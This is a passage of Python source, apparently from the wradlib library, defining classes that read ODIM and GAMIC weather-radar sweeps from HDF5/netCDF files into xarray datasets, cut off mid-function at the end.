return self._what\n\n    @property\n    def where(self):\n        \"\"\"Return attributes of `where`-group.\"\"\"\n        if self._where is None:\n            self._where = self._get_attributes(\"where\")\n        return self._where\n\n    @property\n    def attrs(self):\n        \"\"\"Return group attributes.\"\"\"\n        if self._attrs is None:\n            if isinstance(self.ncfile, nc.Dataset):\n                self._attrs = {k: self.ncid.getncattr(k) for k in self.ncid.ncattrs()}\n            else:\n                self._attrs = self._decode({**self.ncid.attrs})\n        return self._attrs\n\n    @property\n    def filename(self):\n        \"\"\"Return filename group belongs to.\"\"\"\n        if isinstance(self.ncfile, nc.Dataset):\n            return self.ncfile.filepath()\n        else:\n            return self.ncfile.filename\n\n    @property\n    def groups(self):\n        \"\"\"Return list of available groups.\"\"\"\n        if isinstance(self.ncfile, nc.Dataset):\n            return list(self.ncid.groups)\n        else:\n            return list(self.ncid.keys())\n\n    @property\n    def engine(self):\n        \"\"\"Return engine used for accessing data\"\"\"\n        if isinstance(self.ncfile, nc.Dataset):\n            return \"netcdf4\"\n        else:\n            return \"h5netcdf\"\n\n    @property\n    def parent(self):\n        \"\"\"Return parent object.\"\"\"\n        return self._parent\n\n    def _get_attributes(self, grp, ncid=None):\n        \"\"\"Return dict with attributes extracted from `grp`\"\"\"\n        if ncid is None:\n            ncid = self.ncid\n        try:\n            if isinstance(self.ncfile, nc.Dataset):\n                attrs = {k: ncid[grp].getncattr(k) for k in ncid[grp].ncattrs()}\n                return attrs\n            else:\n                attrs = {**ncid[grp].attrs}\n                attrs = self._decode(attrs)\n                return attrs\n        except (IndexError, KeyError):\n            return None\n\n    def _get_attribute(self, grp, attr=None, ncid=None):\n        \"\"\"Return single attribute extracted from `grp`\"\"\"\n        if ncid is None:\n            ncid = self.ncid\n        try:\n            if isinstance(self.ncfile, nc.Dataset):\n                return ncid[grp].getncattr(attr)\n            else:\n                v = ncid[grp].attrs[attr]\n                try:\n                    v = v.item()\n                except (ValueError, AttributeError):\n                    pass\n                try:\n                    v = v.decode()\n                except (UnicodeDecodeError, AttributeError):\n                    pass\n                return v\n        except (IndexError, KeyError):\n            return None\n\n    def _decode(self, attrs):\n        \"\"\"Decode strings if possible.\"\"\"\n        for k, v in attrs.items():\n            try:\n                v = v.item()\n            except (ValueError, AttributeError):\n                pass\n            try:\n                v = v.decode()\n            except (UnicodeDecodeError, AttributeError):\n                pass\n            attrs[k] = v\n        return attrs\n\n\nclass OdimH5SweepMetaDataMixin:\n    \"\"\"Mixin Class for Odim MetaData.\"\"\"\n\n    def __init__(self):\n        super(OdimH5SweepMetaDataMixin, self).__init__()\n        self._a1gate = None\n        self._angle_resolution = None\n        self._azimuth = None\n        self._elevation = None\n        self._fixed_angle = None\n        self._nrays = None\n        self._nbins = None\n        self._time = None\n        self._endtime = None\n        self._rtime = None\n        self._rng = None\n\n    @property\n    def a1gate(self):\n        \"\"\"Return and cache a1gate, azimuth of first measured gate\"\"\"\n        if self._a1gate is None:\n            self._a1gate = self._get_a1gate()\n        return self._a1gate\n\n    @property\n    def angle_resolution(self):\n        \"\"\"Return and cache angular resolution in degree.\"\"\"\n        if self._angle_resolution is None:\n            self._angle_resolution = self._get_angle_resolution()\n        return self._angle_resolution\n\n    @property\n    def azimuth(self):\n        \"\"\"Return and cache azimuth xr.DataArray.\"\"\"\n        if self._azimuth is None:\n            self._azimuth = self._get_azimuth()\n        return self._azimuth\n\n    @property\n    def elevation(self):\n        \"\"\"Return and cache elevation xr.DataArray.\"\"\"\n        if self._elevation is None:\n            self._elevation = self._get_elevation()\n        return self._elevation\n\n    @property\n    def fixed_angle(self):\n        \"\"\"Return and cache elevation angle in degree.\"\"\"\n        if self._fixed_angle is None:\n            self._fixed_angle = self._get_fixed_angle()\n        return self._fixed_angle\n\n    @property\n    def nrays(self):\n        \"\"\"Return and cache number of rays.\"\"\"\n        if self._nrays is None:\n            self._nrays = self._get_nrays()\n        return self._nrays\n\n    @property\n    def nbins(self):\n        \"\"\"Return and cache number of bins.\"\"\"\n        if self._nbins is None:\n            self._nbins = self._get_nbins()\n        return self._nbins\n\n    @property\n    def rng(self):\n        \"\"\"Return and cache range xr.DataArray.\"\"\"\n        if self._rng is None:\n            self._rng = self._get_range()\n        return self._rng\n\n    @property\n    def ray_times(self):\n        \"\"\"Return and cache ray_times xr.DataArray.\"\"\"\n        if self._rtime is None:\n            da = self._get_ray_times()\n            # decode, if necessary\n            if self.decode_times:\n                da = self._decode_cf(da)\n            self._rtime = da\n        return self._rtime\n\n    @property\n    def time(self):\n        \"\"\"Return and cache time xr.DataArray.\"\"\"\n        if self._time is None:\n            da = self._get_time()\n            # decode, if necessary\n            if self.decode_times:\n                da = self._decode_cf(da)\n            self._time = da\n        return self._time\n\n    @property\n    def starttime(self):\n        \"\"\"Return sweep starttime xr.DataArray.\"\"\"\n        return self._time\n\n    @property\n    def endtime(self):\n        \"\"\"Return sweep endtime xr.DataArray.\"\"\"\n        if self._endtime is None:\n            da = self._get_time(point=\"end\")\n            # decode, if necessary\n            if self.decode_times:\n                da = self._decode_cf(da)\n            self._endtime = da\n        return self._endtime\n\n\nclass XRadMoment(OdimH5GroupAttributeMixin):\n    \"\"\"Class for holding one radar moment\n\n    Parameters\n    ----------\n    ncfile : {netCDF4.Dataset, h5py.File or h5netcdf.File object}\n        File handle of file containing radar sweep\n    ncpath : str\n        path to moment group (datasetX)\n    parent : XRadSweep\n        parent sweep object\n    \"\"\"\n\n    def __init__(self, ncfile, ncpath, parent):\n        super(XRadMoment, self).__init__(ncfile, ncpath, parent)\n        self._quantity = None\n\n    def __repr__(self):\n        summary = [\"<wradlib.{}>\".format(type(self).__name__)]\n\n        dims = \"Dimension(s):\"\n        dims_summary = [f\"{self.parent._dim0[0]}: {self.parent.nrays}\"]\n        dims_summary.append(f\"{self.parent._dim1}: {self.parent.nbins}\")\n        dims_summary = \", \".join(dims_summary)\n        summary.append(\"{} ({})\".format(dims, dims_summary))\n\n        angle = \"Elevation(s):\"\n        angle_summary = f\"{self.parent.fixed_angle:.1f}\"\n        summary.append(\"{} ({})\".format(angle, angle_summary))\n\n        moms = \"Moment:\"\n        moms_summary = f\"{self.quantity}\"\n        summary.append(\"{} ({})\".format(moms, moms_summary))\n\n        return \"\\n\".join(summary)\n\n    @property\n    def data(self):\n        \"\"\"Return moment xr.DataArray.\"\"\"\n        return self.parent.data[self.quantity]\n\n    @property\n    def time(self):\n        \"\"\"Return sweep time.\"\"\"\n        return self.parent.time\n\n    @property\n    def quantity(self):\n        \"\"\"Return `quantity` aka moment name\"\"\"\n        if self._quantity is None:\n            if isinstance(self.parent, XRadSweepOdim):\n                self._quantity = self.what[\"quantity\"]\n            else:\n                self._quantity = GAMIC_NAMES[self.attrs[\"moment\"].lower()]\n        return self._quantity\n\n\nclass XRadSweep(OdimH5GroupAttributeMixin, OdimH5SweepMetaDataMixin, XRadBase):\n    \"\"\"Class for holding one radar sweep\n\n    Parameters\n    ----------\n\n    ncfile : {netCDF4.Dataset, h5py.File or h5netcdf.File object}\n        File handle of file containing radar sweep\n    ncpath : str\n        path to sweep group\n    \"\"\"\n\n    def __init__(self, ncfile, ncpath, parent=None, **kwargs):\n        super(XRadSweep, self).__init__(ncfile, ncpath, parent)\n        self._dask_kwargs = {\n            \"chunks\": kwargs.get(\"chunks\", None),\n            \"parallel\": kwargs.get(\"parallel\", False),\n        }\n        self._cf_kwargs = {\n            \"mask_and_scale\": kwargs.get(\"mask_and_scale\", True),\n            \"decode_coords\": kwargs.get(\"decode_coords\", True),\n            \"decode_times\": kwargs.get(\"decode_times\", True),\n        }\n        self._misc_kwargs = {\n            \"keep_elevation\": kwargs.get(\"keep_elevation\", False),\n            \"keep_azimuth\": kwargs.get(\"keep_azimuth\", False),\n        }\n        self._data = None\n        self._need_time_recalc = False\n        self._seq.extend(self._get_moments())\n        self._dim0 = (\"azimuth\", \"elevation\")\n        self._dim1 = \"range\"\n        self.fixed_angle\n\n    def __repr__(self):\n        summary = [\"<wradlib.{}>\".format(type(self).__name__)]\n\n        dims = \"Dimension(s):\"\n        dims_summary = [f\"{self._dim0[0]}: {self.nrays}\"]\n        dims_summary.append(f\"{self._dim1}: {self.nbins}\")\n        dims_summary = \", \".join(dims_summary)\n        summary.append(\"{} ({})\".format(dims, dims_summary))\n\n        angle = f\"{self._dim0[1].capitalize()}(s):\"\n        angle_summary = f\"{self.fixed_angle:0.1f}\"\n        summary.append(\"{} ({})\".format(angle, angle_summary))\n\n        moms = \"Moment(s):\"\n        moms_summary = self.moments\n        moms_summary = \", \".join(moms_summary)\n        summary.append(\"{} ({})\".format(moms, moms_summary))\n\n        return \"\\n\".join(summary)\n\n    def __del__(self):\n        if self._data is not None:\n            self._data.close()\n            self._data = None\n        self._ncfile = None\n\n    def _decode_cf(self, obj):\n        if isinstance(obj, xr.DataArray):\n            out = xr.decode_cf(xr.Dataset({\"arr\": obj}), **self._cf_kwargs).arr\n        else:\n            out = xr.decode_cf(obj, **self._cf_kwargs)\n        return out\n\n    def _get_coords(self):\n        ds = xr.Dataset(\n            coords={\n                \"time\": self.time,\n                \"rtime\": self.ray_times,\n                \"azimuth\": self.azimuth,\n                \"elevation\": self.elevation,\n                \"range\": self.rng,\n            }\n        )\n        return ds\n\n    def _get_moments(self):\n        mdesc = self._mdesc\n        moments = [k for k in self.groups if mdesc in k]\n        moments_idx = np.argsort([int(s[len(mdesc) :]) for s in moments])\n        moments_names = np.array(moments)[moments_idx].tolist()\n        moments = [\n            XRadMoment(\n                ncfile=self.ncfile, ncpath=\"/\".join([self.ncpath, mom]), parent=self\n            )\n            for mom in moments_names\n        ]\n        return moments\n\n    def reset_data(self):\n        \"\"\"Reset .data xr.Dataset\"\"\"\n        self._data = None\n\n    @property\n    def _mdesc(self):\n        return self._get_mdesc()\n\n    @property\n    def chunks(self):\n        \"\"\"Return `chunks` setting.\"\"\"\n        return self._dask_kwargs.get(\"chunks\")\n\n    @property\n    def parallel(self):\n        \"\"\"Return `parallel` setting.\"\"\"\n        return self._dask_kwargs.get(\"parallel\")\n\n    @property\n    def mask_and_scale(self):\n        \"\"\"Return `mask_and_scale` setting.\"\"\"\n        return self._cf_kwargs.get(\"mask_and_scale\")\n\n    @property\n    def decode_coords(self):\n        \"\"\"Return `decode_coords` setting.\"\"\"\n        return self._cf_kwargs.get(\"decode_coords\")\n\n    @property\n    def decode_times(self):\n        \"\"\"Return `decode_times` setting.\"\"\"\n        return self._cf_kwargs.get(\"decode_times\")\n\n    @property\n    def data(self):\n        \"\"\"Return and cache moments as combined xr.Dataset\"\"\"\n        if self._data is None:\n            self._data = self._merge_moments()\n\n            # if self._data is not None:\n            # if metadata declared in XRadTimeseries, load and assign\n            if self.parent._meta is not None:\n                vars = dict()\n                for k, v in self.parent._meta.items():\n                    attr = self._get_attribute(v, attr=k)\n                    if hasattr(attr, \"ndim\"):\n                        attr = xr.DataArray(attr, dims=[self._dim0[0]])\n                    vars[k] = attr\n                self._data = self._data.assign(vars)\n\n            if self.decode_coords:\n                coords = self._get_coords().coords\n                self._data = self._data.assign_coords(coords)\n                self._data = self._data.sortby(self._dim0[0])\n                self._data = self._data.pipe(_reindex_angle, self)\n                sweep_mode = (\n                    \"azimuth_surveillance\" if self._dim0[0] == \"azimuth\" else \"rhi\"\n                )\n                self._data = self._data.assign_coords({\"sweep_mode\": sweep_mode})\n                self._data = self._data.assign_coords(self.parent.parent.site.coords)\n\n            if self.mask_and_scale | self.decode_coords | self.decode_times:\n                self._data = self._data.pipe(self._decode_cf)\n\n        return self._data\n\n    @property\n    def coords(self):\n        \"\"\"Returns xr.Dataset containing coordinates.\"\"\"\n        # sort coords by azimuth, only necessary for gamic flavour\n        # for odim is already sorted\n        return self._get_coords().sortby(self._dim0[0])\n\n    @property\n    def moments(self):\n        \"\"\"Return list of moments.\"\"\"\n        return [f\"{k.quantity}\" for k in self]\n\n\nclass XRadSweepOdim(XRadSweep):\n    \"\"\"Class for holding one radar sweep\n\n    Parameters\n    ----------\n\n    ncfile : {netCDF4.Dataset, h5py.File or h5netcdf.File object}\n        File handle of file containing radar sweep\n    ncpath : str\n        path to sweep group\n    \"\"\"\n\n    def __init__(self, ncfile, ncpath, parent=None, **kwargs):\n        super(XRadSweepOdim, self).__init__(ncfile, ncpath, parent, **kwargs)\n\n    def _get_a1gate(self):\n        return self.where[\"a1gate\"]\n\n    def _get_angle_resolution(self):\n        return self.azimuth.diff(self._dim0[0]).median(skipna=True).round(decimals=1)\n\n    def _get_fixed_angle(self):\n        # try RHI first\n        angle_keys = [\"az_angle\", \"azangle\"]\n        for ak in angle_keys:\n            angle = self.where.get(ak, None)\n            if angle is not None:\n                break\n        if angle is not None:\n            angle = np.round(angle, decimals=1)\n            self._dim0 = (self._dim0[1], self._dim0[0])\n        else:\n            angle = np.round(self.where[\"elangle\"], decimals=1)\n        return angle\n\n    def _get_azimuth_how(self):\n        how = self.how\n        startaz = how[\"startazA\"]\n        stopaz = how[\"stopazA\"]\n        zero_index = np.where(stopaz < startaz)\n        stopaz[zero_index[0]] += 360\n        azimuth_data = (startaz + stopaz) / 2.0\n        return azimuth_data\n\n    def _get_azimuth_where(self):\n        nrays = self.where[\"nrays\"]\n        res = 360.0 / nrays\n        azimuth_data = np.arange(res / 2.0, 360.0, res, dtype=\"float32\")\n        return azimuth_data\n\n    def _get_elevation_how(self):\n        how = self.how\n        startel = how[\"startelA\"]\n        stopel = how[\"stopelA\"]\n        elevation_data = (startel + stopel) / 2.0\n        return elevation_data\n\n    def _get_elevation_where(self):\n        where = self.where\n        nrays = where[\"nrays\"]\n        elangle = where[\"elangle\"]\n        elevation_data = np.ones(nrays, dtype=\"float32\") * elangle\n        return elevation_data\n\n    def _get_time_how(self):\n        how = self.how\n        startT = how[\"startazT\"]\n        stopT = how[\"stopazT\"]\n        time_data = (startT + stopT) / 2.0\n        return time_data\n\n    def _get_time_what(self, nrays=None):\n        what = self.what\n        startdate = what[\"startdate\"]\n        starttime = what[\"starttime\"]\n        enddate = what[\"enddate\"]\n        endtime = what[\"endtime\"]\n        start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n        end = dt.datetime.strptime(enddate + endtime, \"%Y%m%d%H%M%S\")\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        end = end.replace(tzinfo=dt.timezone.utc).timestamp()\n        if nrays is None:\n            nrays = self.where[\"nrays\"]\n        if start == end:\n            warnings.warn(\n                \"WRADLIB: Equal ODIM `starttime` and `endtime` \"\n                \"values. Can't determine correct sweep start-, \"\n                \"end- and raytimes.\",\n                UserWarning,\n            )\n\n            time_data = np.ones(nrays) * start\n        else:\n            delta = (end - start) / nrays\n            time_data = np.arange(start + delta / 2.0, end, delta)\n            time_data = np.roll(time_data, shift=+self.a1gate)\n        return time_data\n\n    def _get_ray_times(self, nrays=None):\n        try:\n            time_data = self._get_time_how()\n            self._need_time_recalc = False\n        except (AttributeError, KeyError, TypeError):\n            time_data = self._get_time_what(nrays=nrays)\n            self._need_time_recalc = True\n        da = xr.DataArray(time_data, dims=[self._dim0[0]], attrs=time_attrs)\n        return da\n\n    def _get_azimuth(self):\n        try:\n            azimuth_data = self._get_azimuth_how()\n        except (AttributeError, KeyError, TypeError):\n            azimuth_data = self._get_azimuth_where()\n        da = xr.DataArray(azimuth_data, dims=[self._dim0[0]], attrs=az_attrs)\n        if not self._misc_kwargs[\"keep_azimuth\"] and self._dim0[0] == \"elevation\":\n            da = da.pipe(_fix_angle)\n        return da\n\n    def _get_elevation(self):\n        try:\n            elevation_data = self._get_elevation_how()\n        except (AttributeError, KeyError, TypeError):\n            elevation_data = self._get_elevation_where()\n        da = xr.DataArray(elevation_data, dims=[self._dim0[0]], attrs=el_attrs)\n        if not self._misc_kwargs[\"keep_elevation\"] and self._dim0[0] == \"azimuth\":\n            da = da.pipe(_fix_angle)\n        return da\n\n    def _get_mdesc(self):\n        return \"data\"\n\n    def _get_range(self):\n        where = self.where\n        ngates = where[\"nbins\"]\n        range_start = where[\"rstart\"] * 1000.0\n        bin_range = where[\"rscale\"]\n        cent_first = range_start + bin_range / 2.0\n        range_data = np.arange(\n            cent_first, range_start + bin_range * ngates, bin_range, dtype=\"float32\"\n        )\n        range_attrs[\"meters_to_center_of_first_gate\"] = cent_first\n        range_attrs[\"meters_between_gates\"] = bin_range\n        da = xr.DataArray(range_data, dims=[self._dim1], attrs=range_attrs)\n        return da\n\n    def _merge_moments(self):\n        ds = _open_mfmoments(\n            self,\n            chunks=self.chunks,\n            preprocess=_preprocess_moment,\n            parallel=self.parallel,\n            mask_and_scale=self.mask_and_scale,\n            decode_times=self.decode_times,\n            decode_coords=self.decode_coords,\n        )\n        return ds\n\n    def _get_nrays(self):\n        return self.where[\"nrays\"]\n\n    def _get_nbins(self):\n        return self.where[\"nbins\"]\n\n    def _get_time(self, point=\"start\"):\n        what = self.what\n        startdate = what[f\"{point}date\"]\n        starttime = what[f\"{point}time\"]\n        start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        da = xr.DataArray(start, attrs=time_attrs)\n        return da\n\n    def _get_time_fast(self):\n        ncid = self.ncid\n        try:\n            if isinstance(self.ncfile, nc.Dataset):\n                startdate = ncid[\"what\"].getncattr(\"startdate\")\n                starttime = ncid[\"what\"].getncattr(\"starttime\")\n            else:\n                startdate = ncid[\"what\"].attrs[\"startdate\"].item().decode()\n                starttime = ncid[\"what\"].attrs[\"starttime\"].item().decode()\n        except (IndexError, KeyError):\n            return None\n        start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        return start\n\n\nclass XRadSweepGamic(XRadSweep):\n    \"\"\"Class for holding one radar sweep\n\n    Parameters\n    ----------\n    ncfile : {netCDF4.Dataset, h5py.File or h5netcdf.File object}\n        File handle of file containing radar sweep\n    ncpath : str\n        path to sweep group\n    \"\"\"\n\n    def __init__(self, ncfile, ncpath, parent=None, **kwargs):\n        super(XRadSweepGamic, self).__init__(ncfile, ncpath, parent, **kwargs)\n        self._ray_header = None\n\n    @property\n    def ray_header(self):\n        # todo: caching adds to memory footprint\n        if self._ray_header is None:\n            self._ray_header = self.ncid[\"ray_header\"][:]\n        return self._ray_header\n\n    def _get_a1gate(self):\n        return np.argsort(self.coords.rtime.values)[0]\n\n    def _get_angle_resolution(self):\n        return self.how[\"angle_step\"]\n\n    def _get_azimuth(self):\n        azstart = self.ray_header[\"azimuth_start\"]\n        azstop = self.ray_header[\"azimuth_stop\"]\n        if self._dim0[0] == \"azimuth\":\n            zero_index = np.where(azstop < azstart)\n            azstop[zero_index[0]] += 360\n        azimuth = (azstart + azstop) / 2.0\n        da = xr.DataArray(azimuth, dims=[self._dim0[0]], attrs=az_attrs)\n        if not self._misc_kwargs[\"keep_azimuth\"] and self._dim0[0] == \"elevation\":\n            da = da.pipe(_fix_angle)\n        return da\n\n    def _get_elevation(self):\n        elstart = self.ray_header[\"elevation_start\"]\n        elstop = self.ray_header[\"elevation_stop\"]\n        elevation = (elstart + elstop) / 2.0\n        da = xr.DataArray(elevation, dims=[self._dim0[0]], attrs=el_attrs)\n        if not self._misc_kwargs[\"keep_elevation\"] and self._dim0[0] == \"azimuth\":\n            da = da.pipe(_fix_angle)\n        return da\n\n    def _get_mdesc(self):\n        return \"moment_\"\n\n    def _get_range(self):\n        range_samples = self.how[\"range_samples\"]\n        range_step = self.how[\"range_step\"]\n        bin_range = range_step * range_samples\n        range_data = np.arange(\n            bin_range / 2.0, bin_range * self.nbins, bin_range, dtype=\"float32\"\n        )\n        range_attrs[\"meters_to_center_of_first_gate\"] = bin_range / 2.0\n        da = xr.DataArray(range_data, dims=[self._dim1], attrs=range_attrs)\n        return da\n\n    def _get_ray_times(self):\n        times = self.ray_header[\"timestamp\"] / 1e6\n        attrs = {\"units\": \"seconds since 1970-01-01T00:00:00Z\", \"standard_name\": \"time\"}\n        da = xr.DataArray(times, dims=[self._dim0[0]], attrs=attrs)\n        return da\n\n    def _get_fixed_angle(self):\n        try:\n            angle = np.round(self.how[self._dim0[1]], decimals=1)\n        except KeyError:\n            self._dim0 = (self._dim0[1], self._dim0[0])\n            angle = np.round(self.how[self._dim0[1]], decimals=1)\n\n        return angle\n\n    def _merge_moments(self):\n        if \"h5\" in self.engine:\n            if LooseVersion(h5netcdf.__version__) < LooseVersion(\"0.8.0\"):\n                warnings.warn(\n                    f\"WRADLIB: 'h5netcdf>=0.8.0' needed to perform this \"\n                    f\"operation. 'h5netcdf={h5netcdf.__version__} \"\n                    f\"available.\",\n                    UserWarning,\n                )\n                return None\n            if LooseVersion(xr.__version__) < LooseVersion(\"0.15.0\"):\n                warnings.warn(\n                    f\"WRADLIB: 'xarray>=0.15.0' needed to perform this \"\n                    f\"operation. 'xarray={xr.__version__} \"\n                    f\"available.\",\n                    UserWarning,\n                )\n                return None\n            opener = h5netcdf.File\n            opener_kwargs = dict(phony_dims=\"access\")\n            store = xr.backends.H5NetCDFStore\n        else:\n            opener = nc.Dataset\n            opener_kwargs = dict()\n            store = xr.backends.NetCDF4DataStore\n\n        if os.path.isfile(self.filename):\n            ds0 = opener(self.filename, \"r\", **opener_kwargs)\n        else:\n            ds0 = self.ncfile\n\n        ds = xr.open_dataset(store(ds0, self.ncpath), chunks=self.chunks)\n\n        ds = ds.drop_vars(\"ray_header\", errors=\"ignore\")\n        for mom in self:\n            mom_name = mom.ncpath.split(\"/\")[-1]\n            dmom = ds[mom_name]\n            name = dmom.moment.lower()\n            try:\n                name = GAMIC_NAMES[name]\n            except KeyError:\n                ds = ds.drop_vars(mom_name)\n                continue\n\n            # extract and translate attributes to cf\n            attrs = collections.OrderedDict()\n            dmax = np.iinfo(dmom.dtype).max\n            dmin = np.iinfo(dmom.dtype).min\n            minval = dmom.dyn_range_min\n            maxval = dmom.dyn_range_max\n            dtype = minval.dtype\n            dyn_range = maxval - minval\n            if maxval != minval:\n                gain = dyn_range / (dmax - 1)\n                minval -= gain\n            else:\n                gain = (dmax - dmin) / dmax\n                minval = dmin\n            gain = gain.astype(dtype)\n            minval = minval.astype(dtype)\n            undetect = np.array([dmin])[0].astype(dtype)\n            attrs[\"scale_factor\"] = gain\n            attrs[\"add_offset\"] = minval\n            attrs[\"_FillValue\"] = undetect\n            attrs[\"_Undetect\"] = undetect\n\n            if self.decode_coords:\n                attrs[\"coordinates\"] = \"elevation azimuth range\"\n\n            mapping = moments_mapping[name]\n            attrs.update({key: mapping[key] for key in moment_attrs})\n            # assign attributes to moment\n            dmom.attrs = collections.OrderedDict()\n            dmom.attrs.update(attrs)\n            ds = ds.rename({mom_name: name.upper()})\n\n        # fix dimensions\n        dims = sorted(list(ds.dims.keys()), key=lambda x: int(x[len(\"phony_dim_\") :]))\n        ds = ds.rename({dims[0]: self._dim0[0], dims[1]: self._dim1})\n\n        # todo: this sorts and reindexes the unsorted GAMIC dataset by azimuth\n        # only if `decode_coords` is False\n        # adding coord ->  sort -> reindex -> remove coord\n        if not self.decode_coords:  # and (self._dim0[0] == \"azimuth\"):\n            ds = (\n                ds.assign_coords({self._dim0[0]: getattr(self, self._dim0[0])})\n                .sortby(self._dim0[0])\n                .pipe(_reindex_angle, self)\n                .drop_vars(self._dim0[0])\n            )\n        return ds\n\n    def _get_nrays(self):\n        return self.how[\"ray_count\"]\n\n    def _get_nbins(self):\n        return self.how[\"bin_count\"]\n\n    def _get_time(self):\n        start = self.how[\"timestamp\"]\n        start = dateutil.parser.parse(start)\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        da = xr.DataArray(start, attrs=time_attrs)\n        return da\n\n    def _get_time_fast(self):\n        ncid = self.ncid\n        try:\n            if isinstance(self.ncfile, nc.Dataset):\n                start = ncid[\"how\"].getncattr(\"timestamp\")\n            else:\n                start = ncid[\"how\"].attrs[\"timestamp\"]\n                if LooseVersion(h5py.__version__) < LooseVersion(\"3.0.0\"):\n                    start = start.decode()\n        except (IndexError, KeyError):\n            return None\n        start = dateutil.parser.parse(start)\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        return start\n\n\nclass XRadTimeSeries(OdimH5GroupAttributeMixin, XRadBase):\n    \"\"\"Class for holding a timeseries of radar sweeps\"\"\"\n\n    def __init__(self, **kwargs):\n        super(XRadTimeSeries, self).__init__()\n        self._data = None\n        self._moments = None\n        self._meta = None\n\n    # override append and claim file for OdimH5GroupAttributeMixin\n    def append(self, value):\n        # do only for first file in this timeseries\n        value._parent = self\n        if not len(self):\n            self._ncfile = value.ncfile\n            self._ncpath = value.ncpath\n        return super(XRadTimeSeries, self).append(value)\n\n    def __repr__(self):\n        summary = [\"<wradlib.{}>\".format(type(self).__name__)]\n        dims = \"Dimension(s):\"\n        dims_summary = [f\"time: {len(self)}\"]\n        dims_summary.append(f\"{self._seq[0]._dim0[0]}: {self._seq[0].nrays}\")\n        dims_summary.append(f\"{self._seq[0]._dim1}: {self._seq[0].nbins}\")\n        dims_summary = \", \".join(dims_summary)\n        summary.append(\"{} ({})\".format(dims, dims_summary))\n        angle = f\"{self._seq[0]._dim0[1].capitalize()}(s):\"\n        angle_summary = self[0].fixed_angle\n        summary.append(f\"{angle} ({angle_summary:.1f})\")\n\n        return \"\\n\".join(summary)\n\n    def reset_data(self):\n        self._data = None\n\n    @property\n    def data(self):\n        if self._data is None:\n            # moments handling\n            # coords = set(['rtime', 'range', 'azimuth', 'elevation', 'time',\n            #               'altitude', 'latitude', 'longitude', 'sweep_mode'])\n            # get intersection and union\n            moment_set = [set(t1.moments) for t1 in self]\n            moment_set_i = set.intersection(*moment_set)\n            moment_set_u = set.union(*moment_set)\n            # drop variables not available in all datasets\n            drop = moment_set_i ^ moment_set_u\n            # keep = (moment_set_i | coords) ^ coords\n            drop = list(self.check_moments().keys())\n            if drop:\n                warnings.warn(\n                    \"wradlib: Moments {} are not available in all datasets \"\n                    \"and will be dropped from the result.\\n\"\n                    \"This will be solved in xarray, see \"\n                    \"https://github.com/pydata/xarray/pull/3545\".format(drop)\n                )\n\n            # todo: catch possible error and add precise ErrorMessage\n            self._data = xr.concat(\n                [\n                    f.data.drop_vars(drop, errors=\"ignore\")\n                    for f in tqdm(\n                        self, desc=\"Collecting\", unit=\" Timesteps\", leave=None\n                    )\n                ],\n                # data_vars=list(keep),\n                dim=\"time\",\n            )\n        return self._data\n\n    def check_rays(self):\n        nrays = [swp.nrays for swp in self]\n        snrays = set(nrays)\n        idx = []\n        for nr in snrays:\n            if nr % 360:\n                idx.extend(np.argwhere(np.array(nrays) == nr).flatten().tolist())\n\n        if len(snrays) > 1:\n            warnings.warn(\n                f\"wradlib: number of rays differing between sweeps.\\n\" f\"{snrays}\"\n            )\n        return snrays, idx\n\n    def check_moments(self):\n        moments = [set([mom.quantity for mom in swp]) for swp in self]\n        mi = set.intersection(*moments)\n        mu = set.union(*moments)\n        mp = mi ^ mu\n        miss = {}\n        for mom in mu:\n            idx = []\n            if mom in mp:\n                for i, mset in enumerate(moments):\n                    if mom not in mset:\n                        idx.append(i)\n                miss[mom] = idx\n        return miss\n\n    def set_moments(self, moments):\n        if not isinstance(moments, list):\n            pass\n        else:\n            self._moments = moments\n\n    def set_metadata(self, metadata):\n        if not isinstance(metadata, dict):\n            pass\n        else:\n            self._meta = metadata\n\n\nclass XRadVolume(OdimH5GroupAttributeMixin, XRadBase):\n    \"\"\"Class for holding a volume of radar sweeps\"\"\"\n\n    def __init__(self, **kwargs):\n        super(XRadVolume, self).__init__()\n        self._data = None\n        self._root = None\n\n    def __repr__(self):\n        summary = [\"<wradlib.{}>\".format(type(self).__name__)]\n        dims = \"Dimension(s):\"\n        dims_summary = f\"sweep: {len(self)}\"\n        summary.append(\"{} ({})\".format(dims, dims_summary))\n        angle = f\"{self[0][0]._dim0[1].capitalize()}(s):\"\n        angle_summary = [f\"{k[0].fixed_angle:.1f}\" for k in self]\n        angle_summary = \", \".join(angle_summary)\n        summary.append(\"{} ({})\".format(angle, angle_summary))\n\n        return \"\\n\".join(summary)\n\n    @property\n    def root(self):\n        \"\"\"Return root object.\"\"\"\n        if self._root is None:\n            self.assign_root()\n        return self._root\n\n    def assign_root(self):\n        \"\"\"(Re-)Create root object according CfRadial2 standard\"\"\"\n        # assign root variables\n        sweep_group_names = [f\"sweep_{i}\" for i in range(len(self))]\n\n        try:\n            sweep_fixed_angles = [ts[0].fixed_angle for ts in self]\n        except AttributeError:\n            sweep_fixed_angles = [ts.fixed_angle for ts in self]\n\n        # extract time coverage\n        times = np.array(\n            [[t[0].ray_times.values.min(), t[-1].ray_times.values.max()] for t in self]\n        ).flatten()\n        time_coverage_start = min(times)\n        time_coverage_end = max(times)\n\n        time_coverage_start_str = str(time_coverage_start)[:19] + \"Z\"\n        time_coverage_end_str = str(time_coverage_end)[:19] + \"Z\"\n\n        # create root group from scratch\n        root = xr.Dataset()  # data_vars=wrl.io.xarray.global_variables,\n        # attrs=wrl.io.xarray.global_attrs)\n\n        # take first dataset/file for retrieval of location\n        site = self.site\n\n        # assign root variables\n        root = root.assign(\n            {\n                \"volume_number\": 0,\n                \"platform_type\": str(\"fixed\"),\n                \"instrument_type\": \"radar\",\n                \"primary_axis\": \"axis_z\",\n                \"time_coverage_start\": time_coverage_start_str,\n                \"time_coverage_end\": time_coverage_end_str,\n                \"latitude\": site[\"latitude\"].values,\n                \"longitude\": site[\"longitude\"].values,\n                \"altitude\": site[\"altitude\"].values,\n                \"sweep_group_name\": ([\"sweep\"], sweep_group_names),\n                \"sweep_fixed_angle\": ([\"sweep\"], sweep_fixed_angles),\n            }\n        )\n\n        # assign root attributes\n        attrs = collections.OrderedDict()\n        attrs.update(\n            